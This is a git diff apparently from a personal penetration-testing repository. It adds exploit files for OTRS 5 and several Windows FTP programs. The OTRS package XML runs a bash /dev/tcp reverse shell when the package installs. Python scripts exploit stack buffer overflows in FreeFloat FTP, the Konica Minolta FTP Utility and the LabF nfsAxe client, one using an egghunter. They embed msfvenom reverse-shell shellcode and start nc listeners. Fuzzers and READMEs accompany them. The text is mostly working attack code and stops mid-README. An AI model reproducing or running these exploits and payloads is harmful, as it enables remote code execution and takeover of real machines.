<URL>https://github.com/amonsec</URL>+ <License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>+ <ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">Evil Module.</ChangeLog>+ <Description Lang="en">EvilModule</Description>+ <Framework>5.x.x</Framework>+ <BuildDate>2017-04-22 11:11:11</BuildDate>+ <BuildHost>opms.otrs.com</BuildHost>+ <IntroInstall Lang="en" Title="Evil Module" Type="pre">+ <br>+ 1337 Offsec exploit+ <br>+ ((Unwanted reverse shell coming dude!))+ <br>+ </IntroInstall>+ <CodeInstall Type="pre">+ print qx(bash -i >& /dev/tcp/<IP ADDR>/443 0>&1 &);+ </CodeInstall>+ <CodeInstall Type="post">+ # create the package name+ my $CodeModule = 'var::packagesetup::' . $Param{Structure}->{Name}->{Content};+ $Kernel::OM->Get($ModeModule)-%gt;CodeInstall();+ </CodeInstall>+ <CodeUninstall type="pre">+ my $CodeModule = 'var::packagesetup::' . $Param{Structure}-%gt;{Name}-%gt;{Content};+ $Kernel::OM->Get($CodeModule)->CodeUninstall();+ </CodeUninstall>+</otrs_package>+diff --git a/Penetration Testing/exploits/unix/webapp/OTRS-5/README.md b/Penetration Testing/exploits/unix/webapp/OTRS-5/README.mdnew file mode 100644index 0000000..cd36cc4--- /dev/null+++ b/Penetration Testing/exploits/unix/webapp/OTRS-5/README.md@@ -0,0 +1,7 @@+OTRS 5.X Admin Package Manager exploit+======================================++Author: \_amonsec</br>+Published: 2017-02-11</br>+Platform: webapps</br>+diff --git a/Penetration Testing/exploits/windows/ftp/FreeFloat/README.md b/Penetration Testing/exploits/windows/ftp/FreeFloat/README.mdnew file mode 100644index 0000000..0020217--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/FreeFloat/README.md@@ -0,0 +1,8 @@+Free Float FTP Server version 1.0 Stack Buffer Overflow+=======================================================++Author: Amonsec</br>+Published: Jun 19 2017</br>+CVE: NaN</br>+Type: Remote</br>+Platform: Windows</br>diff --git a/Penetration Testing/exploits/windows/ftp/FreeFloat/freefloat-exploit.py b/Penetration Testing/exploits/windows/ftp/FreeFloat/freefloat-exploit.pynew file mode 100644index 0000000..26ed685--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/FreeFloat/freefloat-exploit.py@@ -0,0 +1,77 @@+#!/usr/bin/python+'''+Vulnarable App: https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip+'''+import sys+import socket+import struct+import subprocess++if len(sys.argv) < 2:+ print "[*] FreeFlot FTP exploit"+ print "[*] Usage: "+sys.argv[0]+" <ip addr>"+ sys.exit()++shellcode = (+"\xda\xc3\xbd\xfa\x9f\x84\xcc\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"+"\x52\x83\xeb\xfc\x31\x6b\x13\x03\x91\x8c\x66\x39\x99\x5b\xe4"+"\xc2\x61\x9c\x89\x4b\x84\xad\x89\x28\xcd\x9e\x39\x3a\x83\x12"+"\xb1\x6e\x37\xa0\xb7\xa6\x38\x01\x7d\x91\x77\x92\x2e\xe1\x16"+"\x10\x2d\x36\xf8\x29\xfe\x4b\xf9\x6e\xe3\xa6\xab\x27\x6f\x14"+"\x5b\x43\x25\xa5\xd0\x1f\xab\xad\x05\xd7\xca\x9c\x98\x63\x95"+"\x3e\x1b\xa7\xad\x76\x03\xa4\x88\xc1\xb8\x1e\x66\xd0\x68\x6f"+"\x87\x7f\x55\x5f\x7a\x81\x92\x58\x65\xf4\xea\x9a\x18\x0f\x29"+"\xe0\xc6\x9a\xa9\x42\x8c\x3d\x15\x72\x41\xdb\xde\x78\x2e\xaf"+"\xb8\x9c\xb1\x7c\xb3\x99\x3a\x83\x13\x28\x78\xa0\xb7\x70\xda"+"\xc9\xee\xdc\x8d\xf6\xf0\xbe\x72\x53\x7b\x52\x66\xee\x26\x3b"+"\x4b\xc3\xd8\xbb\xc3\x54\xab\x89\x4c\xcf\x23\xa2\x05\xc9\xb4"+"\xc5\x3f\xad\x2a\x38\xc0\xce\x63\xff\x94\x9e\x1b\xd6\x94\x74"+"\xdb\xd7\x40\xda\x8b\x77\x3b\x9b\x7b\x38\xeb\x73\x91\xb7\xd4"+"\x64\x9a\x1d\x7d\x0e\x61\xf6\x42\x67\x37\x86\x2b\x7a\xc7\xfc"+"\xc2\xf3\x21\x6a\x05\x52\xfa\x03\xbc\xff\x70\xb5\x41\x2a\xfd"+"\xf5\xca\xd9\x02\xbb\x3a\x97\x10\x2c\xcb\xe2\x4a\xfb\xd4\xd8"+"\xe2\x67\x46\x87\xf2\xee\x7b\x10\xa5\xa7\x4a\x69\x23\x5a\xf4"+"\xc3\x51\xa7\x60\x2b\xd1\x7c\x51\xb2\xd8\xf1\xed\x90\xca\xcf"+"\xee\x9c\xbe\x9f\xb8\x4a\x68\x66\x13\x3d\xc2\x30\xc8\x97\x82"+"\xc5\x22\x28\xd4\xc9\x6e\xde\x38\x7b\xc7\xa7\x47\xb4\x8f\x2f"+"\x30\xa8\x2f\xcf\xeb\x68\x4f\x32\x39\x85\xf8\xeb\xa8\x24\x65"+"\x0c\x07\x6a\x90\x8f\xad\x13\x67\x8f\xc4\x16\x23\x17\x35\x6b"+"\x3c\xf2\x39\xd8\x3d\xd7")++# System Windows XP SP3 Professional x86+# EIP offset 69413269+# Badchars: \x00 \x0a \x0d+# 71A91C8B FFE4 JMP ESP [wshtcpip.dll]+# msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -b '\x00\x0a\x0d' EXITFUNC=thread -f c++buffer = ""+buffer += "\x41" * 247+buffer += struct.pack("<L", 0x71a91c8b)+buffer += '\x90' * 16+buffer += shellcode++try:+ print '[*] Try to connect to the target'+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ connect = s.connect((str(sys.argv[1]), 21))+ print '[*] Connected!'++ print '[*] Send the evil buffer'+ s.recv(1024)+ s.send('USER anonymous\r\n')+ s.recv(1024)+ s.send('PASS anonymous\r\n')+ s.recv(1024)+ s.send('MKD ' + buffer +'\r\n')+ s.recv(1024)+ s.send('QUIT\r\n')+ s.close()+ print '[*] Sended!'++except socket.error:+ print '[*] Host unreachable'+ sys.exit(1)+finally:+ cmd = "nc -lnvp 31337"+ subprocess.call([cmd], shell=True)+diff --git a/Penetration Testing/exploits/windows/ftp/FreeFloat/fuzzing.py b/Penetration Testing/exploits/windows/ftp/FreeFloat/fuzzing.pynew file mode 100644index 0000000..dfc074d--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/FreeFloat/fuzzing.py@@ -0,0 +1,29 @@+#!/usr/bin/env python+import socket+import sys++if len(sys.argv) < 2:+ print "[*] FreeFlot FTP fuzzer"+ print "[*] Usage: "+sys.argv[0]+" <ip addr>"+ sys.exit()++buffer = ["\x41"]+counter = 100+while len(buffer) <= 30:+ buffer.append("\x41" * counter)+ counter = counter + 200++for string in buffer:+ print "[*] Fuzzing MKD command %s bytes" % len(string)+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ connect = s.connect((str(sys.argv[1]), 21))++ s.recv(1024)+ s.send('USER anonymous\r\n')+ s.recv(1024)+ s.send('PASS anonymous\r\n')+ s.recv(1024)+ s.send('MKD ' + string +'\r\n')+ s.recv(1024)+ s.send('QUIT\r\n')+ s.close()diff --git a/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/README.md b/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/README.mdnew file mode 100644index 0000000..da6386b--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/README.md@@ -0,0 +1,8 @@+Konica Minolta FTP Utility 1.00 CWD Command SEH Stack Buffer Overflow+=====================================================================++Author: Amonsec</br>+Published: Jun 14 2017</br>+CVE: NaN</br>+Type: Remote</br>+Platform: Windows</br>diff --git a/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/exploit.py b/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/exploit.pynew file mode 100644index 0000000..dc40550--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/exploit.py@@ -0,0 +1,65 @@+#!/usr/bin/python+import sys+import socket+import struct+import subprocess++rhost = '192.168.1.100'++shellcode = ""+shellcode += "\xda\xde\xba\x14\x94\xe3\x10\xd9\x74\x24\xf4\x5d"+shellcode += "\x31\xc9\xb1\x52\x83\xed\xfc\x31\x55\x13\x03\x41"+shellcode += "\x87\x01\xe5\x95\x4f\x47\x06\x65\x90\x28\x8e\x80"+shellcode += "\xa1\x68\xf4\xc1\x92\x58\x7e\x87\x1e\x12\xd2\x33"+shellcode += "\x94\x56\xfb\x34\x1d\xdc\xdd\x7b\x9e\x4d\x1d\x1a"+shellcode += "\x1c\x8c\x72\xfc\x1d\x5f\x87\xfd\x5a\x82\x6a\xaf"+shellcode += "\x33\xc8\xd9\x5f\x37\x84\xe1\xd4\x0b\x08\x62\x09"+shellcode += "\xdb\x2b\x43\x9c\x57\x72\x43\x1f\xbb\x0e\xca\x07"+shellcode += "\xd8\x2b\x84\xbc\x2a\xc7\x17\x14\x63\x28\xbb\x59"+shellcode += "\x4b\xdb\xc5\x9e\x6c\x04\xb0\xd6\x8e\xb9\xc3\x2d"+shellcode += "\xec\x65\x41\xb5\x56\xed\xf1\x11\x66\x22\x67\xd2"+shellcode += "\x64\x8f\xe3\xbc\x68\x0e\x27\xb7\x95\x9b\xc6\x17"+shellcode += "\x1c\xdf\xec\xb3\x44\xbb\x8d\xe2\x20\x6a\xb1\xf4"+shellcode += "\x8a\xd3\x17\x7f\x26\x07\x2a\x22\x2f\xe4\x07\xdc"+shellcode += "\xaf\x62\x1f\xaf\x9d\x2d\x8b\x27\xae\xa6\x15\xb0"+shellcode += "\xd1\x9c\xe2\x2e\x2c\x1f\x13\x67\xeb\x4b\x43\x1f"+shellcode += "\xda\xf3\x08\xdf\xe3\x21\x9e\x8f\x4b\x9a\x5f\x7f"+shellcode += "\x2c\x4a\x08\x95\xa3\xb5\x28\x96\x69\xde\xc3\x6d"+shellcode += "\xfa\x21\xbb\x6c\x92\xc9\xbe\x6e\x7c\x3c\x36\x88"+shellcode += "\xea\x50\x1e\x03\x83\xc9\x3b\xdf\x32\x15\x96\x9a"+shellcode += "\x75\x9d\x15\x5b\x3b\x56\x53\x4f\xac\x96\x2e\x2d"+shellcode += "\x7b\xa8\x84\x59\xe7\x3b\x43\x99\x6e\x20\xdc\xce"+shellcode += "\x27\x96\x15\x9a\xd5\x81\x8f\xb8\x27\x57\xf7\x78"+shellcode += "\xfc\xa4\xf6\x81\x71\x90\xdc\x91\x4f\x19\x59\xc5"+shellcode += "\x1f\x4c\x37\xb3\xd9\x26\xf9\x6d\xb0\x95\x53\xf9"+shellcode += "\x45\xd6\x63\x7f\x4a\x33\x12\x9f\xfb\xea\x63\xa0"+shellcode += "\x34\x7b\x64\xd9\x28\x1b\x8b\x30\xe9\x2b\xc6\x18"+shellcode += "\x58\xa4\x8f\xc9\xd8\xa9\x2f\x24\x1e\xd4\xb3\xcc"+shellcode += "\xdf\x23\xab\xa5\xda\x68\x6b\x56\x97\xe1\x1e\x58"+shellcode += "\x04\x01\x0b"++exploit = ''+exploit += '\x41' * 1037+exploit += struct.pack('<L', 0x06eb9090)+exploit += struct.pack('<L', 0x1220401e)+exploit += '\x90' * 32+exploit += shellcode+exploit += '\xcc' * (2000 - len(shellcode))++try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((rhost, 21))++ s.recv(2048)+ s.send('USER offsec\r\n')+ s.recv(2048)+ s.send('PASS offsec\r\n')+ s.recv(2048)+ s.send('CWD {}\r\n'.format(exploit))+ s.close()+ print 'Evil buffer sent!'++ subprocess.call(['nc -lvvp 7734'], shell=True)+except Exception as error:+ print error+ sys.exit(1)diff --git a/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/fuzzer.py b/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/fuzzer.pynew file mode 100644index 0000000..9b79fd4--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/KanicaMinolta-Utility-1.0/fuzzer.py@@ -0,0 +1,30 @@+#!/usr/bin/python+import sys+import socket++rhost = '192.168.1.100'++buffer = ["A"]+counter = 100+while len(buffer) <= 50:+ buffer.append("A" * counter)+ counter = counter + 200++for string in buffer:+ print '[-] Fuzzing: {}'.format(len(string))++ try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((rhost, 21))++ s.recv(2048)+ s.send('USER offsec\r\n')+ s.recv(2048)+ s.send('PASS offsec\r\n')+ s.recv(2048)+ s.send('CWD {}\r\n'.format(string))+ s.close()+ except socket.error as error:+ s.close()+ print error+diff --git a/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/README.md b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/README.mdnew file mode 100644index 0000000..3c03ddd--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/README.md@@ -0,0 +1,23 @@+LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow w/ egghunter+=====================================================================++Exploit Author: Amonsec</br>+Date: 28-09-2017</br>+Contact: <https://twitter.com/am0nsec></br>+Website: <https://amonsec.com></br>+CVE: /</br>+Category: Remote</br>+Platform: Windows</br>+Tested OS: Windows 7 SP1 (Professionnel)</br>+Vendor Homepage: <http://www.labf.com/index.html></br>+Software Link: <www.labf.com/download/nfsaxe.exe></br>+Version: 3.7</br>++Thanks:</br>+Offensive Security Team (https://www.offensive-security.com/)</br>+Corelan (<https://www.corelan.be/>)</br>+Ch3rn0byl (<http://ch3rn0byl.com/>)</br>++</br>+</br>+\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit-blog-version.py b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit-blog-version.pynew file mode 100644index 0000000..459d50a--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit-blog-version.py@@ -0,0 +1,92 @@+#!/usr/bin/python+import socket+import struct+import subprocess++_RED = '\x1b[1;31m'+_BLU = '\x1b[1;34m'+_GRE = '\x1b[1;32m'+_RST = '\x1b[0;0;0m'+successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)+errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)+infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)++lhost = "0.0.0.0"+lport = 21++shellcode = ""+shellcode += "\xda\xd1\xd9\x74\x24\xf4\xbe\x2f\xf0\x85\x45\x5a"+shellcode += "\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04\x03\x5d"+shellcode += "\xe3\x67\xb0\x5d\xeb\xea\x3b\x9d\xec\x8a\xb2\x78"+shellcode += "\xdd\x8a\xa1\x09\x4e\x3b\xa1\x5f\x63\xb0\xe7\x4b"+shellcode += "\xf0\xb4\x2f\x7c\xb1\x73\x16\xb3\x42\x2f\x6a\xd2"+shellcode += "\xc0\x32\xbf\x34\xf8\xfc\xb2\x35\x3d\xe0\x3f\x67"+shellcode += "\x96\x6e\xed\x97\x93\x3b\x2e\x1c\xef\xaa\x36\xc1"+shellcode += "\xb8\xcd\x17\x54\xb2\x97\xb7\x57\x17\xac\xf1\x4f"+shellcode += "\x74\x89\x48\xe4\x4e\x65\x4b\x2c\x9f\x86\xe0\x11"+shellcode += "\x2f\x75\xf8\x56\x88\x66\x8f\xae\xea\x1b\x88\x75"+shellcode += "\x90\xc7\x1d\x6d\x32\x83\x86\x49\xc2\x40\x50\x1a"+shellcode += "\xc8\x2d\x16\x44\xcd\xb0\xfb\xff\xe9\x39\xfa\x2f"+shellcode += "\x78\x79\xd9\xeb\x20\xd9\x40\xaa\x8c\x8c\x7d\xac"+shellcode += "\x6e\x70\xd8\xa7\x83\x65\x51\xea\xcb\x4a\x58\x14"+shellcode += "\x0c\xc5\xeb\x67\x3e\x4a\x40\xef\x72\x03\x4e\xe8"+shellcode += "\x75\x3e\x36\x66\x88\xc1\x47\xaf\x4f\x95\x17\xc7"+shellcode += "\x66\x96\xf3\x17\x86\x43\x53\x47\x28\x3c\x14\x37"+shellcode += "\x88\xec\xfc\x5d\x07\xd2\x1d\x5e\xcd\x7b\xb7\xa5"+shellcode += "\x86\x43\xe0\xa4\x30\x2c\xf3\xa6\xb9\x95\x7a\x40"+shellcode += "\xab\xf5\x2a\xdb\x44\x6f\x77\x97\xf5\x70\xad\xd2"+shellcode += "\x36\xfa\x42\x23\xf8\x0b\x2e\x37\x6d\xfc\x65\x65"+shellcode += "\x38\x03\x50\x01\xa6\x96\x3f\xd1\xa1\x8a\x97\x86"+shellcode += "\xe6\x7d\xee\x42\x1b\x27\x58\x70\xe6\xb1\xa3\x30"+shellcode += "\x3d\x02\x2d\xb9\xb0\x3e\x09\xa9\x0c\xbe\x15\x9d"+shellcode += "\xc0\xe9\xc3\x4b\xa7\x43\xa2\x25\x71\x3f\x6c\xa1"+shellcode += "\x04\x73\xaf\xb7\x08\x5e\x59\x57\xb8\x37\x1c\x68"+shellcode += "\x75\xd0\xa8\x11\x6b\x40\x56\xc8\x2f\x70\x1d\x50"+shellcode += "\x19\x19\xf8\x01\x1b\x44\xfb\xfc\x58\x71\x78\xf4"+shellcode += "\x20\x86\x60\x7d\x24\xc2\x26\x6e\x54\x5b\xc3\x90"+shellcode += "\xcb\x5c\xc6"++exploit = ''+exploit += '\x41' * 2063+exploit += struct.pack('<L', 0x6809d408)+exploit += '\x90' * 32+exploit += shellcode+exploit += '\x41' * (4000 - 4 - 2063 - 32 - len(shellcode))++try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.bind((lhost, lport))+ s.listen(1)++ print infoMessage('LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow')+ print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))+ print infoMessage('Evil FTP server waiting for a connection')+ target, addr = s.accept()+ print successMessage('Connection from {}'.format(addr))++ print infoMessage('Sending the evil request')+ target.send('220 Welcome to DOOM FTP server\r\n')+ target.recv(1024)+ target.send('331 OK\r\n')+ target.recv(1024)+ target.send('230 OK\r\n')+ target.recv(1024)+ target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))++ s.close()+ target.close()++ print ''+ print infoMessage('Waiting for a reverse shell')+ subprocess.call(['nc -lnvp 1337'], shell=True)++except socket.error as error:+ print 'Error: ' + str(error)+ s.close()+ target.close()+ sys.exit(1)++except KeyboardInterrupt:+ s.close()+ target.close()+ sys.exit(1)diff --git a/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit-post-version.py b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit-post-version.pynew file mode 100644index 0000000..459d50a--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit-post-version.py@@ -0,0 +1,92 @@+#!/usr/bin/python+import socket+import struct+import subprocess++_RED = '\x1b[1;31m'+_BLU = '\x1b[1;34m'+_GRE = '\x1b[1;32m'+_RST = '\x1b[0;0;0m'+successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)+errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)+infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)++lhost = "0.0.0.0"+lport = 21++shellcode = ""+shellcode += "\xda\xd1\xd9\x74\x24\xf4\xbe\x2f\xf0\x85\x45\x5a"+shellcode += "\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04\x03\x5d"+shellcode += "\xe3\x67\xb0\x5d\xeb\xea\x3b\x9d\xec\x8a\xb2\x78"+shellcode += "\xdd\x8a\xa1\x09\x4e\x3b\xa1\x5f\x63\xb0\xe7\x4b"+shellcode += "\xf0\xb4\x2f\x7c\xb1\x73\x16\xb3\x42\x2f\x6a\xd2"+shellcode += "\xc0\x32\xbf\x34\xf8\xfc\xb2\x35\x3d\xe0\x3f\x67"+shellcode += "\x96\x6e\xed\x97\x93\x3b\x2e\x1c\xef\xaa\x36\xc1"+shellcode += "\xb8\xcd\x17\x54\xb2\x97\xb7\x57\x17\xac\xf1\x4f"+shellcode += "\x74\x89\x48\xe4\x4e\x65\x4b\x2c\x9f\x86\xe0\x11"+shellcode += "\x2f\x75\xf8\x56\x88\x66\x8f\xae\xea\x1b\x88\x75"+shellcode += "\x90\xc7\x1d\x6d\x32\x83\x86\x49\xc2\x40\x50\x1a"+shellcode += "\xc8\x2d\x16\x44\xcd\xb0\xfb\xff\xe9\x39\xfa\x2f"+shellcode += "\x78\x79\xd9\xeb\x20\xd9\x40\xaa\x8c\x8c\x7d\xac"+shellcode += "\x6e\x70\xd8\xa7\x83\x65\x51\xea\xcb\x4a\x58\x14"+shellcode += "\x0c\xc5\xeb\x67\x3e\x4a\x40\xef\x72\x03\x4e\xe8"+shellcode += "\x75\x3e\x36\x66\x88\xc1\x47\xaf\x4f\x95\x17\xc7"+shellcode += "\x66\x96\xf3\x17\x86\x43\x53\x47\x28\x3c\x14\x37"+shellcode += "\x88\xec\xfc\x5d\x07\xd2\x1d\x5e\xcd\x7b\xb7\xa5"+shellcode += "\x86\x43\xe0\xa4\x30\x2c\xf3\xa6\xb9\x95\x7a\x40"+shellcode += "\xab\xf5\x2a\xdb\x44\x6f\x77\x97\xf5\x70\xad\xd2"+shellcode += "\x36\xfa\x42\x23\xf8\x0b\x2e\x37\x6d\xfc\x65\x65"+shellcode += "\x38\x03\x50\x01\xa6\x96\x3f\xd1\xa1\x8a\x97\x86"+shellcode += "\xe6\x7d\xee\x42\x1b\x27\x58\x70\xe6\xb1\xa3\x30"+shellcode += "\x3d\x02\x2d\xb9\xb0\x3e\x09\xa9\x0c\xbe\x15\x9d"+shellcode += "\xc0\xe9\xc3\x4b\xa7\x43\xa2\x25\x71\x3f\x6c\xa1"+shellcode += "\x04\x73\xaf\xb7\x08\x5e\x59\x57\xb8\x37\x1c\x68"+shellcode += "\x75\xd0\xa8\x11\x6b\x40\x56\xc8\x2f\x70\x1d\x50"+shellcode += "\x19\x19\xf8\x01\x1b\x44\xfb\xfc\x58\x71\x78\xf4"+shellcode += "\x20\x86\x60\x7d\x24\xc2\x26\x6e\x54\x5b\xc3\x90"+shellcode += "\xcb\x5c\xc6"++exploit = ''+exploit += '\x41' * 2063+exploit += struct.pack('<L', 0x6809d408)+exploit += '\x90' * 32+exploit += shellcode+exploit += '\x41' * (4000 - 4 - 2063 - 32 - len(shellcode))++try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.bind((lhost, lport))+ s.listen(1)++ print infoMessage('LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow')+ print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))+ print infoMessage('Evil FTP server waiting for a connection')+ target, addr = s.accept()+ print successMessage('Connection from {}'.format(addr))++ print infoMessage('Sending the evil request')+ target.send('220 Welcome to DOOM FTP server\r\n')+ target.recv(1024)+ target.send('331 OK\r\n')+ target.recv(1024)+ target.send('230 OK\r\n')+ target.recv(1024)+ target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))++ s.close()+ target.close()++ print ''+ print infoMessage('Waiting for a reverse shell')+ subprocess.call(['nc -lnvp 1337'], shell=True)++except socket.error as error:+ print 'Error: ' + str(error)+ s.close()+ target.close()+ sys.exit(1)++except KeyboardInterrupt:+ s.close()+ target.close()+ sys.exit(1)diff --git a/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit.py b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit.pynew file mode 100644index 0000000..cbc8ec6--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/Labf-nfsAxe-3_7/exploit.py@@ -0,0 +1,134 @@+#!/usr/bin/env python+import sys+import socket+import struct+import subprocess++# Exploit Title: LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow w/ egghunter+# Date: 28-09-2017+# Exploit Author: Amonsec+# Contact: https://twitter.com/am0nsec+# Website: https://amonsec.com+# CVE: /+# Category: Remote+# Platform: Windows+# Tested OS: Windows 7 SP1 (Professionnel)+# Vendor Homepage: http://www.labf.com/index.html+# Software Link: www.labf.com/download/nfsaxe.exe+# Version: 3.7++# Thanks:+# Offensive Security Team (https://www.offensive-security.com/)+# Corelan (https://www.corelan.be/)+# Ch3rn0byl (http://ch3rn0byl.com/)++_RED = '\x1b[1;31m'+_BLU = '\x1b[1;34m'+_GRE = '\x1b[1;32m'+_RST = '\x1b[0;0;0m'+successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)+errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)+infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)++lhost = "0.0.0.0"+lport = 21++#----------------------------------------------------------------------------------------------------#+# Metasploit shellcode #+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=1337 LHOST=192.168.1.39 \ #+# -e x86/alpha_mixed -f raw '\x00\x0a\x0d' EXITFUNC=thread BufferRegister=EDI #+#----------------------------------------------------------------------------------------------------#+shellcode = ''+shellcode += 'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLJHK2WpwpS0apmYxeP1IP0dnkf0P0Nk'+shellcode += '3bvlNkaBeDnkt2ThDOh7rjvFUa9oNLele1alURfLa0o1zoTM6ahGM2ZRV2RwLK3bVpnkBjElnkRl21ahm3aX'+shellcode += '6axQV1Nk2yEpgqYClKPI28hcGJSyNk4tnkc1hVP1yollo1xOfmFa9W08M03EIftCsM9hEkSMut3EYtaHlK68'+shellcode += 'WTuQiCRFNkVlPKlKaHglc1IClKgtLKfaxPk9PD5tq41K3kSQQIpZv1Yom03oSorzLKDRZKnmCm1xdsvR5Pgp'+shellcode += 'qxRWcCdrCortcX0LagDfUWKOYEMhz0c1EP30eyiTSdbpu86IOprKGpIozupPV0F0V01PPPCpf0sXKZ4OkoYp'+shellcode += 'Yo9EmGcZfeU8YPi8FauwrHvbUPEUuimYYv1zdP0VrwaxNyi5T4U1yon5lEyPqdtL9orntH1ejL2HhpmenBsf'+shellcode += 'io8UaxpcRMPdGpniJCPW1GcgDqYfSZ4RF9v6KR9mU6YW74etUlFaVanmBdVDfpXFGpstSd0Psfrv1Fw6aFRn'+shellcode += 'F6RvBs2vSXT9ZluoK6yoHUmYKPbnPVQV9op0bHVhk7gmcPyo9EoKipuMWZEZcXLfj5MmOmyon5uleVCLuZK0'+shellcode += 'IkipsEdEOK2g7cCBPo2JWpSc9oZuAA'++#----------------------------------------------------------------------------------------------------#+# Basic 32 bytes agghunter: #+# Marker: "AmonAmon" #+#----------------------------------------------------------------------------------------------------#+egghunter = ''+egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58'+egghunter += '\xcd\x2e\x3c\x05\x5a\x74\xef\xb8'+egghunter += '\x41\x6d\x6f\x6e'+egghunter += '\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'++#----------------------------------------------------------------------------------------------------#+# (*) First stage badchars = '\x00\x0a\x0d' #+# #+# (1) Crash to EIP 2063-bytes #+# (2) EIP: 0x6809d408 push esp; ret [WCMDPA10.dll] #+# (3) Egghunter #+#----------------------------------------------------------------------------------------------------#+exploit = ''+exploit += '\x41' * 2063 # Junk+exploit += struct.pack('<L', 0x6809d408) # push esp; ret+exploit += '\x41' * 16 # Junk+exploit += egghunter # Egghunter+exploit += '\x43' * (4000 - 2063 - 4 - len(egghunter) - 16) # Junk++#----------------------------------------------------------------------------------------------------#+# (*) Second stage badchars = '\x00\x0a' #+# #+# (1) Your marker: AmonAmon #+# (2) Metasploit shellcode #+#----------------------------------------------------------------------------------------------------#+stage = ''+stage += 'AmonAmon'+stage += shellcode++#----------------------------------------------------------------------------------------------------#+# (*) Evil FTP server #+# #+# (1) Create a socket on the port 21 #+# (2) Wait for a connection #+# (3) Initlize the connection #+# (4) Send the encoded Metasploit shellcode #+# (5) Send the evil FTP response #+# (6) A reverse shell?! #+#----------------------------------------------------------------------------------------------------#+try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.bind((lhost, lport))+ s.listen(1)++ print infoMessage('LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow w/ egghunter exploit')+ print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))+ print infoMessage('Evil FTP server waiting for a connection')+ target, addr = s.accept()+ print successMessage('Connection from {}'.format(addr))++ target.send('220 Welcome to DOOM FTP server\r\n')+ target.recv(1024)+ target.send('331 OK\r\n')+ target.recv(1024)+ target.send('230 OK\r\n')+ target.recv(1024)+ target.send('220 {}\r\n'.format(stage))+ target.recv(1024)+ target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))++ s.close()+ target.close()++ print ''+ print infoMessage('Hunting the marker, don\'t remove the popup!')+ print successMessage('Time for a reverse shell?!')+ subprocess.call(['nc -lnvp 1337'], shell=True)++except socket.error as error:+ print errorMessage('Error: ' + str(error))+ s.close()+ target.close()+ sys.exit(1)++except KeyboardInterrupt:+ s.close()+ target.close()+ sys.exit(1)diff --git a/Penetration Testing/exploits/windows/ftp/PCMan/README.md b/Penetration Testing/exploits/windows/ftp/PCMan/README.mdnew file mode 100644index 0000000..d689a1a--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/PCMan/README.md@@ -0,0 +1,8 @@+PCMan's FTP Server version 2.0 Stack Buffe rOverflow+====================================================++Author: Amonsec</br>+Published: Jun 19 2017</br>+CVE: NaN</br>+Type: 